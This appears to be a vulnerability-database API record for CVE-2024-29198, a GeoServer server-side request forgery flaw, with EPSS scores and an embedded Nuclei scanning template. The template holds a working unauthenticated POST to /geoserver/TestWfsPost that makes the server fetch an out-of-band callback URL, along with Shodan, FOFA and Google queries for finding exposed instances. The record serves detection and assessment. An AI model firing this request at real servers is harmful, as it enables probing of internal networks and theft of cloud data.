{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-29198/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-29198/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-29198/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-29198/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-29198/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-29198/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-29198"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2024-29198"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.02296,
      "kev": false,
      "percentile": 0.83262
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2024/CVE-2024-29198.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2024-29198\n\ninfo:\n  name: GeoServer Demo Request Endpoint - Server Side Request Forgery\n  author: iamnoooob,pdresearch\n  severity: high\n  description: |\n    It is possible to achieve Server Side Request Forgery (SSRF) via the Demo request endpoint if Proxy Base URL has not been set. An unauthenticated user can supply a request that will be issued by the server, allowing enumeration of internal networks and, in the case of cloud instances, access to sensitive data.\n  impact: |\n    An attacker can exploit this vulnerability to access internal resources, enumerate internal networks, and potentially access sensitive data in cloud environments through the server-side request forgery attack.\n  remediation: |\n    Upgrade to a patched version of GeoServer or configure the Proxy Base URL properly to prevent unauthorized server-side requests through the TestWfsPost endpoint.\n  reference:\n    - https://github.com/geoserver/geoserver/security/advisories/GHSA-5gw5-jccf-6hxw\n    - https://osgeo-org.atlassian.net/browse/GEOS-11390\n    - https://osgeo-org.atlassian.net/browse/GEOS-11794\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-29198\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2024-29198\n    cwe-id: CWE-918\n    epss-score: 0.02296\n    epss-percentile: 0.83313\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: osgeo\n    product: geoserver\n    shodan-query:\n      - http.title:\"geoserver\"\n      - server:\"geohttpserver\"\n    fofa-query:\n      - app=\"geoserver\"\n      - title=\"geoserver\"\n    google-query: intitle:\"geoserver\"\n  tags: cve,cve2024,ssrf,geoserver,oos,oast,vkev,vuln\n\nvariables:\n  string: \"{{randstr}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /geoserver/TestWfsPost HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        url=http://{{interactsh-url}}/?body={{string}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(interactsh_protocol, 'http')\"\n          - \"contains(content_type, 'text/plain')\"\n          - \"regex('^{{string}}$', body)\"\n          - \"status_code == 200\"\n        condition: and\n# digest: 490a0046304402200476d253bc86ae865e8a313bd3d51535508bb0b2b48b6cc3d04bfdf46727a37702202eece0ec91dbff867272095dafc3dad8c00d0ca7c87d144b549b171701aa3280:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2024-29198"
}